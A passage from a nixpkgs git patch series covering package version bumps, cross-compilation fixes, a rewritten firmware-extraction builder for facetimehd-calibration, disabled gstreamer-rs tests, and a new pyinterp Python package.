+      hash = "sha256-xX8PPjLN2AYSZFFVwbgptMy+TO1lXegzq5MAWYnCfy8=";
     };
     buildInputs = [
       TestException

From 2b26158aafe09d095950cddefe1cc0911f44df98 Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Thu, 28 Aug 2025 13:53:47 -0700
Subject: [PATCH 4015/4511] facetimehd-calibration: fix build

Resolves #430685

This was the only user of `fetchurl` which was using `-r`, which is incompatible with `--continue-at -` from 4d7a4fbd9f634d0c2f1e660d3981e965b3513466.
Rather than engineer a way to pass range options to `fetchurl`, let's just make a custom builder for this derivation.
It actually makes the whole thing more clear.

(cherry picked from commit 252b0b5c333b02f53d986c5151a4eda574056544)
---
 .../fa/facetimehd-calibration/builder.sh      | 22 +++++
 .../fa/facetimehd-calibration/package.nix     | 94 ++++---------------
 2 files changed, 38 insertions(+), 78 deletions(-)
 create mode 100644 pkgs/by-name/fa/facetimehd-calibration/builder.sh

diff --git a/pkgs/by-name/fa/facetimehd-calibration/builder.sh b/pkgs/by-name/fa/facetimehd-calibration/builder.sh
new file mode 100644
index 000000000000..a778d4fd3fc7
--- /dev/null
+++ b/pkgs/by-name/fa/facetimehd-calibration/builder.sh
@@ -0,0 +1,22 @@
+# Described on https://github.com/patjak/facetimehd/wiki/Extracting-the-sensor-calibration-files
+#
+# The whole download is 518MB; the deflate stream we're interested in is 1.2MB.
+urlRoot="https://download.info.apple.com/Mac_OS_X/031-30890-20150812-ea191174-4130-11e5-a125-930911ba098f"
+curl --insecure -o bootcamp.zip "$urlRoot/bootcamp$version.zip" -r 2338085-3492508
+
+# Add appropriate headers and footers so that zcat extracts cleanly
+
+{ printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00'
+  cat bootcamp.zip
+  printf '\x51\x1f\x86\x78\xcf\x5b\x12\x00'
+} | zcat > AppleCamera64.exe
+unrar x AppleCamera64.exe AppleCamera.sys
+
+# These offsets and sizes are from the wiki also
+dd bs=1 skip=1663920 count=33060 if=AppleCamera.sys of=9112_01XX.dat
+dd bs=1 skip=1644880 count=19040 if=AppleCamera.sys of=1771_01XX.dat
+dd bs=1 skip=1606800 count=19040 if=AppleCamera.sys of=1871_01XX.dat
+dd bs=1 skip=1625840 count=19040 if=AppleCamera.sys of=1874_01XX.dat
+
+mkdir -p "$out/lib/firmware/facetimehd"
+cp -a *.dat "$out/lib/firmware/facetimehd"
diff --git a/pkgs/by-name/fa/facetimehd-calibration/package.nix b/pkgs/by-name/fa/facetimehd-calibration/package.nix
index 79ac6fc64c3d..3f535df358ff 100644
--- a/pkgs/by-name/fa/facetimehd-calibration/package.nix
+++ b/pkgs/by-name/fa/facetimehd-calibration/package.nix
@@ -1,98 +1,36 @@
 {
   lib,
   stdenvNoCC,
-  fetchurl,
+  curl,
   unrar-wrapper,
-  pkgs,
 }:
 
-let
-
+stdenvNoCC.mkDerivation {
+  pname = "facetimehd-calibration";
   version = "5.1.5769";
 
-  # Described on https://github.com/patjak/facetimehd/wiki/Extracting-the-sensor-calibration-files
+  # This is a special sort of fixed-output derivation
+  outputHash = "sha256-KQBIlpa68wjQNgBiEnLtl6iEYseNrTlSdq9wiNni16k=";
+  outputHashMode = "recursive";
 
-  # From the wiki page, range extracted with binwalk:
-  zipUrl = "https://download.info.apple.com/Mac_OS_X/031-30890-20150812-ea191174-4130-11e5-a125-930911ba098f/bootcamp${version}.zip";
-  zipRange = "2338085-3492508"; # the whole download is 518MB, this deflate stream is 1.2MB
+  __structuredAttrs = true;
+  builder = ./builder.sh;
 
-  # CRC and length from the ZIP entry header (not strictly necessary, but makes it extract cleanly):
-  gzFooter = ''\x51\x1f\x86\x78\xcf\x5b\x12\x00'';
-
-  # Also from the wiki page:
-  calibrationFiles = [
-    {
-      file = "1771_01XX.dat";
-      offset = "1644880";
-      size = "19040";
-    }
-    {
-      file = "1871_01XX.dat";
-      offset = "1606800";
-      size = "19040";
-    }
-    {
-      file = "1874_01XX.dat";
-      offset = "1625840";
-      size = "19040";
-    }
-    {
-      file = "9112_01XX.dat";
-      offset = "1663920";
-      size = "33060";
-    }
+  nativeBuildInputs = [
+    curl
+    unrar-wrapper
   ];
 
-in
-
-stdenvNoCC.mkDerivation {
-
-  pname = "facetimehd-calibration";
-  inherit version;
-  src = fetchurl {
-    url = zipUrl;
-    sha256 = "1dzyv457fp6d8ly29sivqn6llwj5ydygx7p8kzvdnsp11zvid2xi";
-    curlOpts = "-r ${zipRange}";
-  };
-
-  dontUnpack = true;
-  dontInstall = true;
-
-  nativeBuildInputs = [ unrar-wrapper ];
-
-  buildPhase = ''
-    { printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00'
-      cat $src
-      printf '${gzFooter}'
-    } | zcat > AppleCamera64.exe
-    unrar x AppleCamera64.exe AppleCamera.sys
-
-    mkdir -p $out/lib/firmware/facetimehd
-  ''
-  + lib.concatMapStrings (
-    {
-      file,
-      offset,
-      size,
-    }:
-    ''
-      dd bs=1 skip=${offset} count=${size} if=AppleCamera.sys of=$out/lib/firmware/facetimehd/${file}
-    ''
-  ) calibrationFiles;
-
-  meta = with lib; {
+  meta = {
     description = "facetimehd calibration";
     homepage = "https://support.apple.com/kb/DL1837";
-    license = licenses.unfree;
-    maintainers = with maintainers; [
+    license = lib.licenses.unfree;
+    maintainers = with lib.maintainers; [
       alexshpilkin
       womfoo
       grahamc
     ];
-    platforms = [
-      "i686-linux"
-      "x86_64-linux"
-    ];
+    platforms = lib.platforms.all;
+    sourceProvenance = with lib.sourceTypes; [ binaryFirmware ];
   };
-
 }

From dd65300ee30954ed2a909cdbeda79bd3260648c3 Mon Sep 17 00:00:00 2001
From: Colin <colin@uninsane.org>
Date: Wed, 27 Aug 2025 01:12:45 +0000
Subject: [PATCH 4016/4511] spot: fix cross compilation

(cherry picked from commit 09558b2d4b0e5fb74fc5c40b4c6cb0b7e72f7d00)
---
 pkgs/by-name/sp/spot/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/sp/spot/package.nix b/pkgs/by-name/sp/spot/package.nix
index 630682bce77c..9133809ac988 100644
--- a/pkgs/by-name/sp/spot/package.nix
+++ b/pkgs/by-name/sp/spot/package.nix
@@ -40,6 +40,12 @@ stdenv.mkDerivation rec {
     hash = "sha256-731aD+yJkyrNMmYtgKYzXIAyLegDBzTT2XqZs5usXiI=";
   };
 
+  postPatch = ''
+    substituteInPlace src/meson.build --replace-fail \
+      "cargo_output = 'src' / rust_target / meson.project_name()" \
+      "cargo_output = 'src' / '${stdenv.hostPlatform.rust.cargoShortTarget}' / rust_target / meson.project_name()"
+  '';
+
   nativeBuildInputs = [
     appstream-glib
     blueprint-compiler
@@ -71,6 +77,9 @@ stdenv.mkDerivation rec {
   # https://github.com/xou816/spot/issues/313
   mesonBuildType = "release";
 
+  # For https://github.com/xou816/spot/blob/21ee601f655caa4ca9cae1033a27459fe6289318/src/meson.build#L122
+  env.CARGO_BUILD_TARGET = stdenv.hostPlatform.rust.rustcTargetSpec;
+
   passthru = {
     updateScript = nix-update-script { };
   };

From 9a9cdbde6e2ee89ca461cc1bc1392dc3f4d7dc52 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 28 Aug 2025 16:44:00 +0000
Subject: [PATCH 4017/4511] sydbox: 3.37.8 -> 3.37.9

(cherry picked from commit 813e21b84ac343235ff0e427982bf93304510cd8)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index 70c1ac166a33..5467a2cc958f 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.37.8";
+  version = "3.37.9";
 
   outputs = [
     "out"
@@ -24,10 +24,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-d3kGLVAGo6El0IQzdASR5kNmcLOPig1fHnrEtPFo6H4=";
+    hash = "sha256-SG19p7TuN7+TX5tafNBU6R48PzT44WqvGydmpfUo+FU=";
   };
 
-  cargoHash = "sha256-wpu8jeptwWHgqdWKHD5Nbs9WtZm7PjbO0lBk5fTbYuM=";
+  cargoHash = "sha256-rxlnlu8RziOhSNbCU8ESL0a+f+594E0q+3gmyQLhPaw=";
 
   nativeBuildInputs = [
     mandoc

From e8e051bff495495ce9c173b97848cdc0a9e41dae Mon Sep 17 00:00:00 2001
From: Colin <colin@uninsane.org>
Date: Wed, 27 Aug 2025 02:12:34 +0000
Subject: [PATCH 4018/4511] video-trimmer: fix cross compilation

(cherry picked from commit 6809ffd293ec65ef44deae7b6436afdcc4a36efb)
---
 pkgs/by-name/vi/video-trimmer/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/vi/video-trimmer/package.nix b/pkgs/by-name/vi/video-trimmer/package.nix
index 5f7ef32cac21..cf022cab10d7 100644
--- a/pkgs/by-name/vi/video-trimmer/package.nix
+++ b/pkgs/by-name/vi/video-trimmer/package.nix
@@ -35,6 +35,12 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-3ycc4jXneGsz9Jp9Arzf224JPAKM+PxUkitWcIXre8Y=";
   };
 
+  postPatch = ''
+    substituteInPlace build-aux/cargo.sh --replace-fail \
+      'cp "$CARGO_TARGET_DIR"/' \
+      'cp "$CARGO_TARGET_DIR"/${stdenv.hostPlatform.rust.cargoShortTarget}/'
+  '';
+
   nativeBuildInputs = [
     pkg-config
     meson
@@ -60,6 +66,9 @@ stdenv.mkDerivation (finalAttrs: {
     gst_all_1.gst-plugins-bad
   ];
 
+  # For https://gitlab.gnome.org/YaLTeR/video-trimmer/-/blob/cf64e8dea345bcd991db29a3f862a9277c71fe81/build-aux/cargo.sh#L19
+  env.CARGO_BUILD_TARGET = stdenv.hostPlatform.rust.rustcTargetSpec;
+
   doCheck = true;
 
   strictDeps = true;

From 073f11a724ca12bd8c21f981f733fa72b21360fc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 22 Aug 2025 21:00:38 +0000
Subject: [PATCH 4019/4511] commitlint-rs: 0.2.2 -> 0.2.3

(cherry picked from commit 6232f889d785bb38113d6a5584a911b3dfc17046)
---
 pkgs/by-name/co/commitlint-rs/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/commitlint-rs/package.nix b/pkgs/by-name/co/commitlint-rs/package.nix
index fd8843eade77..91620d2baa2d 100644
--- a/pkgs/by-name/co/commitlint-rs/package.nix
+++ b/pkgs/by-name/co/commitlint-rs/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "commitlint-rs";
-  version = "0.2.2";
+  version = "0.2.3";
 
   src = fetchFromGitHub {
     owner = "KeisukeYamashita";
     repo = "commitlint-rs";
     rev = "refs/tags/v${version}";
-    hash = "sha256-9az7AJ4NXmisRZiCFTdHQBVatgEIdRuKU6ZEKVHEgnQ=";
+    hash = "sha256-rNCMvIVJ/aOTNMyAmwX3Ir6IjHf6wxZ1XlGIWp7omkQ=";
   };
 
-  cargoHash = "sha256-qTJ7/3jIqDXSu6H16YZJqtc/AqMIb4t7SulTtcVbKMI=";
+  cargoHash = "sha256-+MPHEkL5/+yR5+aKTDTaVO9D/v2xccwSo7clo20H1G0=";
 
   passthru = {
     tests.version = testers.testVersion { package = commitlint-rs; };

From 2ad8820f5aab657b1c0f5cefe21956f99a476fd7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 24 Aug 2025 13:09:34 +0000
Subject: [PATCH 4020/4511] speedtest: 1.3.0 -> 1.4.0

(cherry picked from commit 2a630ed68970af45f9858d68a198e0a64c71346f)
---
 pkgs/by-name/sp/speedtest/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sp/speedtest/package.nix b/pkgs/by-name/sp/speedtest/package.nix
index 034b830b66bf..db9668420796 100644
--- a/pkgs/by-name/sp/speedtest/package.nix
+++ b/pkgs/by-name/sp/speedtest/package.nix
@@ -17,14 +17,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "speedtest";
-  version = "1.3.0";
+  version = "1.4.0";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "Ketok4321";
     repo = "speedtest";
     tag = "v${version}";
-    hash = "sha256-BFPOumMuFKttw8+Jp4c2d9r9C2eIzEX52SNdASdNldw=";
+    hash = "sha256-00qHHCGXAzV38BLUIENwxmWUhp+t7BsM7w6xu1Xs/UA=";
   };
 
   postPatch = ''

From 293bb76acb49290f5a9df4f5a58cc456fff20393 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Tue, 26 Aug 2025 13:45:34 +0200
Subject: [PATCH 4021/4511] komikku: 1.85.0 -> 1.86.0

(cherry picked from commit 18ad113a13a0d3cc1a37cca0ff1c74c1da7756db)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index e0c2c19262cc..9feb427dffe7 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.85.0";
+  version = "1.86.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-ll6F6aVOoqRxzoTrBHdkUAV8CWFVPSt8mNPRqPw4oec=";
+    hash = "sha256-LIiwQVXT0RWCli9twFA+cmf/LzKK9JjbRVA2xVu/XX4=";
   };
 
   nativeBuildInputs = [

From afa5bb9d9cbb1ef91ce18c98aba6f269b06464ed Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 16:28:48 +0000
Subject: [PATCH 4022/4511] deja-dup: 48.3 -> 48.4

Diff: https://gitlab.gnome.org/World/deja-dup/-/compare/48.3...48.4
Changelog: https://gitlab.gnome.org/World/deja-dup/-/releases/48.4
(cherry picked from commit baa55ff144a83ef79e72bd4d9047b68b9cbe6be8)
---
 pkgs/by-name/de/deja-dup/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/deja-dup/package.nix b/pkgs/by-name/de/deja-dup/package.nix
index 3a57f319e647..e4e3dc104bc3 100644
--- a/pkgs/by-name/de/deja-dup/package.nix
+++ b/pkgs/by-name/de/deja-dup/package.nix
@@ -28,14 +28,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "deja-dup";
-  version = "48.3";
+  version = "48.4";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "deja-dup";
     rev = finalAttrs.version;
-    hash = "sha256-3tjJljCdugfjfysd0afUYY7Gc1UcaP4w4jgxVDr5tBM=";
+    hash = "sha256-hFmuJqUHBMSsQW+a9GjI82wNOQjHt5f3rEkGUxYA6Y0=";
   };
 
   patches = [

From f55f49e5bc3e63b2adb21a3ef025027aaa2bfba1 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 16:28:55 +0000
Subject: [PATCH 4023/4511] drum-machine: 1.3.1 -> 1.4.0

Diff: https://github.com/Revisto/drum-machine/compare/v1.3.1...v1.4.0
Changelog: https://github.com/Revisto/drum-machine/releases/tag/v1.4.0
(cherry picked from commit 93bd7048f7734c54f0c3fa17fdb7c4511d8278c7)
---
 pkgs/by-name/dr/drum-machine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/dr/drum-machine/package.nix b/pkgs/by-name/dr/drum-machine/package.nix
index b9ab61038c73..f64784a6b9be 100644
--- a/pkgs/by-name/dr/drum-machine/package.nix
+++ b/pkgs/by-name/dr/drum-machine/package.nix
@@ -17,14 +17,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "drum-machine";
-  version = "1.3.1";
+  version = "1.4.0";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "Revisto";
     repo = "drum-machine";
     tag = "v${version}";
-    hash = "sha256-/ziI2rRuhGG/7VZbZi6lr+Lmbo2kt9VxH9bqtCdreQs=";
+    hash = "sha256-5NzbjPzmrsF/xKLBwQ4MDPxz6OjBHioO7vcLMzMhidA=";
   };
 
   strictDeps = true;

From 3e8466acba138c5e647d32c0887ec7f80b9b905c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 28 Aug 2025 21:42:59 +0000
Subject: [PATCH 4024/4511] brave: 1.81.136 -> 1.81.137

(cherry picked from commit abf8ed642e27401ed1d8016cd56fce829dd23631)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 3901dbedea94..3dbc66c6285e 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.81.136";
+  version = "1.81.137";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-IU05OLT0IyRAiT10tEOayXpPi7iZBmDnp4n4AI+hVr0=";
+      hash = "sha256-zbnE54nPc7BeoLn6KVVoNTUNpU8Jq7YreIJ2hkFLRm4=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-z6nMg8twkUv1CtboxzuOYwyfgUkgEV7XAKoBE26VKY4=";
+      hash = "sha256-v4sZwRMc54oolkoaH6QH2AIY8Ad8yCYGK3Cf6CBDqPo=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-5a0YLUokVoiUB9jf/osDfHH11KKUJJSbAqIEjoBNiEs=";
+      hash = "sha256-kPKJVk4Kt2s8fpwlChZiLhnjW6W7fq7SsolEZUx83/c=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-apW6RXQ15cbUoGHY6ZTQDb1zTXoifcvTECcOFuVLbho=";
+      hash = "sha256-GaQ9Tgw5sHJOMdMYYS8Wz7RJn1baKwHGXMCcW0DDDsA=";
     };
   };
 

From b4049488b7a5adb07f853c3e992de8a45b4f9a60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Fri, 29 Aug 2025 07:30:03 +0200
Subject: [PATCH 4025/4511] gst_all_1.gst-plugins-rs: disable all tests

My patience has run out.  We've been burning so much effort
on this package.  Feel free to improve (anyone).
---
 .../development/libraries/gstreamer/rs/default.nix |  5 +----
 .../libraries/gstreamer/rs/ignore-tests.patch      | 14 --------------
 2 files changed, 1 insertion(+), 18 deletions(-)
 delete mode 100644 pkgs/development/libraries/gstreamer/rs/ignore-tests.patch

diff --git a/pkgs/development/libraries/gstreamer/rs/default.nix b/pkgs/development/libraries/gstreamer/rs/default.nix
index e53a4568c476..95932b244ff4 100644
--- a/pkgs/development/libraries/gstreamer/rs/default.nix
+++ b/pkgs/development/libraries/gstreamer/rs/default.nix
@@ -188,9 +188,6 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   patches = [
-    # Related to https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/issues/723
-    ./ignore-tests.patch
-
     # Fix reqwest tests failing due to broken TLS lookup in native-tls dependency.
     # https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/issues/675
     # Cannot be upstreamed due to MSRV bump in native-tls:
@@ -244,7 +241,7 @@ stdenv.mkDerivation (finalAttrs: {
   # turn off all auto plugins since we use a list of plugins we generate
   mesonAutoFeatures = "disabled";
 
-  doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
+  doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform && false;
 
   # csound lib dir must be manually specified for it to build
   preConfigure = ''
diff --git a/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch b/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
deleted file mode 100644
index eba181dea713..000000000000
--- a/pkgs/development/libraries/gstreamer/rs/ignore-tests.patch
+++ /dev/null
@@ -1,14 +0,0 @@
---- a/utils/uriplaylistbin/tests/uriplaylistbin.rs
-+++ b/utils/uriplaylistbin/tests/uriplaylistbin.rs
-@@ -391,4 +391,5 @@
- }
- 
-+#[ignore = "Unknown failure"]
- #[test]
- fn multi_audio_video() {
-@@ -406,4 +407,5 @@
- }
- 
-+#[ignore = "Unknown failure"]
- #[test]
- fn iterations() {

From d7102c56dc6514af78017109e43893ced04b6da8 Mon Sep 17 00:00:00 2001
From: patka <patka@patka.dev>
Date: Fri, 22 Aug 2025 20:21:02 +0200
Subject: [PATCH 4026/4511] phpPackages.composer: 2.8.5 -> 2.8.11, add
 completion, adopt

(cherry picked from commit bd8420d9c5ab3b03f9892b6cc8c8771674573240)
---
 pkgs/build-support/php/pkgs/composer-phar.nix     | 15 +++++++++++++--
 .../development/php-packages/composer/default.nix |  8 ++++----
 2 files changed, 17 insertions(+), 6 deletions(-)

diff --git a/pkgs/build-support/php/pkgs/composer-phar.nix b/pkgs/build-support/php/pkgs/composer-phar.nix
index b07c25beec55..82dcdeaf535d 100644
--- a/pkgs/build-support/php/pkgs/composer-phar.nix
+++ b/pkgs/build-support/php/pkgs/composer-phar.nix
@@ -11,6 +11,8 @@
   xz,
   version,
   pharHash,
+  installShellFiles,
+  stdenv,
 }:
 
 stdenvNoCC.mkDerivation (finalAttrs: {
@@ -24,7 +26,10 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   dontUnpack = true;
 
-  nativeBuildInputs = [ makeBinaryWrapper ];
+  nativeBuildInputs = [
+    makeBinaryWrapper
+    installShellFiles
+  ];
 
   installPhase = ''
     runHook preInstall
@@ -46,13 +51,19 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     runHook postInstall
   '';
 
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd composer \
+      --bash <($out/bin/composer completion bash)
+  '';
+
   meta = {
     changelog = "https://github.com/composer/composer/releases/tag/${finalAttrs.version}";
     description = "Dependency Manager for PHP, shipped from the PHAR file";
     homepage = "https://getcomposer.org/";
     license = lib.licenses.mit;
     mainProgram = "composer";
-    maintainers = with lib.maintainers; [ drupol ];
+    maintainers = [ lib.maintainers.patka ];
+    teams = [ lib.teams.php ];
     platforms = lib.platforms.all;
   };
 })
diff --git a/pkgs/development/php-packages/composer/default.nix b/pkgs/development/php-packages/composer/default.nix
index 6dd3d98830db..986347de7f4c 100644
--- a/pkgs/development/php-packages/composer/default.nix
+++ b/pkgs/development/php-packages/composer/default.nix
@@ -16,13 +16,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "composer";
-  version = "2.8.5";
+  version = "2.8.11";
 
   # Hash used by ../../../build-support/php/pkgs/composer-phar.nix to
   # use together with the version from this package to keep the
   # bootstrap phar file up-to-date together with the end user composer
   # package.
-  passthru.pharHash = "sha256-nO8YIS4iI1GutHa4HeeypTg/d1M2R0Rnv1x8z+hKsMw=";
+  passthru.pharHash = "sha256-JXqWnpqdJ+DkXP6VSDXBenYDO6hKOI4PRy24Pt7WWos=";
 
   composer = callPackage ../../../build-support/php/pkgs/composer-phar.nix {
     inherit (finalAttrs) version;
@@ -33,7 +33,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     owner = "composer";
     repo = "composer";
     tag = finalAttrs.version;
-    hash = "sha256-/E/fXh+jefPwzsADpmGyrJ+xqW5CSPNok0DVLD1KZDY=";
+    hash = "sha256-ufkrrCnIwJHtAsjKdaFzlJkCH0i7Tm17+eIqgSqDwlE=";
   };
 
   nativeBuildInputs = [ makeBinaryWrapper ];
@@ -87,7 +87,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
     outputHashMode = "recursive";
     outputHashAlgo = "sha256";
-    outputHash = "sha256-UcMB0leKqD8cXeExXpjDgPvF8pfhGXnCR0EN4FVWouw=";
+    outputHash = "sha256-elh3zgN4DJK0lY6TDRGWfBjmnWZzy7s1sMWe34RsLEE=";
   };
 
   installPhase = ''

From 01342bf56822f48cd89f40ed5640ac6c23c43e91 Mon Sep 17 00:00:00 2001
From: daspk04 <dpratyush.k@gmail.com>
Date: Fri, 29 Aug 2025 15:11:14 +0700
Subject: [PATCH 4027/4511] python3Packages.pyinterp: init at 2025.8.1

(cherry picked from commit 2fc384a4b6ab05809621dff9de481430031e9d00)
---
 .../python-modules/pyinterp/default.nix       | 106 ++++++++++++++++++
 pkgs/top-level/python-packages.nix            |   2 +
 2 files changed, 108 insertions(+)
 create mode 100644 pkgs/development/python-modules/pyinterp/default.nix

diff --git a/pkgs/development/python-modules/pyinterp/default.nix b/pkgs/development/python-modules/pyinterp/default.nix
new file mode 100644
index 000000000000..b3a162ef1f93
--- /dev/null
+++ b/pkgs/development/python-modules/pyinterp/default.nix
@@ -0,0 +1,106 @@
+{
+  lib,
+  stdenv,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  # buildInputs
+  boost,
+  blas,
+  eigen,
+  gtest,
+  pybind11,
+
+  # build-system
+  cmake,
+  setuptools,
+
+  # dependencies
+  dask,
+  numpy,
+  xarray,
+
+  # tests
+  pytestCheckHook,
+}:
+buildPythonPackage rec {
+  pname = "pyinterp";
+  version = "2025.8.1";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "CNES";
+    repo = "pangeo-pyinterp";
+    tag = version;
+    hash = "sha256-9DZIPiqt0JbadeGIkVrg+XuPu4XfVlHm36sBKZ2G7ww=";
+  };
+
+  # Remove the git submodule link to pybind11, patch setup.py build backend and version information
+  postPatch = ''
+    rm -rf third_party/pybind11
+    mkdir -p third_party
+    ln -sr ${pybind11.src} third_party/pybind11
+
+    substituteInPlace pyproject.toml --replace-fail 'build-backend = "backend"' 'build-backend = "setuptools.build_meta"'
+    substituteInPlace pyproject.toml --replace-fail 'backend-path = ["_custom_build"]' ""
+
+    substituteInPlace setup.py \
+      --replace-fail 'version=revision(),' 'version="${version}",'
+
+    substituteInPlace src/pyinterp/__init__.py \
+     --replace-fail 'from . import geodetic, geohash, version' 'from . import geodetic, geohash' \
+     --replace-fail '__version__ = version.release()' '__version__ = "${version}"' \
+     --replace-fail '__date__ = version.date()' '__date__ = "${version}"' \
+     --replace-fail 'del version' ""
+  '';
+
+  dontUseCmakeConfigure = true;
+
+  buildInputs = [
+    blas
+    boost
+    eigen
+    gtest
+    pybind11
+  ];
+
+  build-system = [
+    cmake
+    setuptools
+  ];
+
+  dependencies = [
+    dask
+    numpy
+    xarray
+  ];
+
+  pythonImportsCheck = [
+    "pyinterp"
+    "pyinterp.geohash"
+  ];
+
+  disabledTests = [
+    # segmentation fault
+    "test_bounding_box"
+    "test_geohash"
+    "test_encoding"
+    "test_neighbors"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # AssertionError, probably floating point precision differences
+    "test_quadrivariate"
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+  ];
+
+  meta = {
+    description = "Python library for optimized geo-referenced interpolation";
+    homepage = "https://github.com/CNES/pangeo-pyinterp";
+    changelog = "https://github.com/CNES/pangeo-pyinterp/releases/tag/${src.tag}";
+    license = lib.licenses.bsd3;
+    maintainers = with lib.maintainers; [ daspk04 ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 3c5361b6589c..bf89203a2a4a 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -12580,6 +12580,8 @@ self: super: with self; {
 
   pyinstrument = callPackage ../development/python-modules/pyinstrument { };
 
+  pyinterp = callPackage ../development/python-modules/pyinterp { };
+
   pyintesishome = callPackage ../development/python-modules/pyintesishome { };
 
   pyipma = callPackage ../development/python-modules/pyipma { };

From 712d84dc52c8a93992873eb92a2b651df4b8c340 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 00:44:23 +0000
Subject: [PATCH 4028/4511] why3: 1.8.0 -> 1.8.1

(cherry picked from commit f9e8eace8a018040cec58ebc2a8df912b8eef259)
---
 pkgs/applications/science/logic/why3/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/science/logic/why3/default.nix b/pkgs/applications/science/logic/why3/default.nix
index 93cff7b35fde..141bdcb9c306 100644
--- a/pkgs/applications/science/logic/why3/default.nix
+++ b/pkgs/applications/science/logic/why3/default.nix
@@ -8,7 +8,7 @@
   rubber,
   hevea,
   emacs,
-  version ? "1.8.0",
+  version ? "1.8.1",
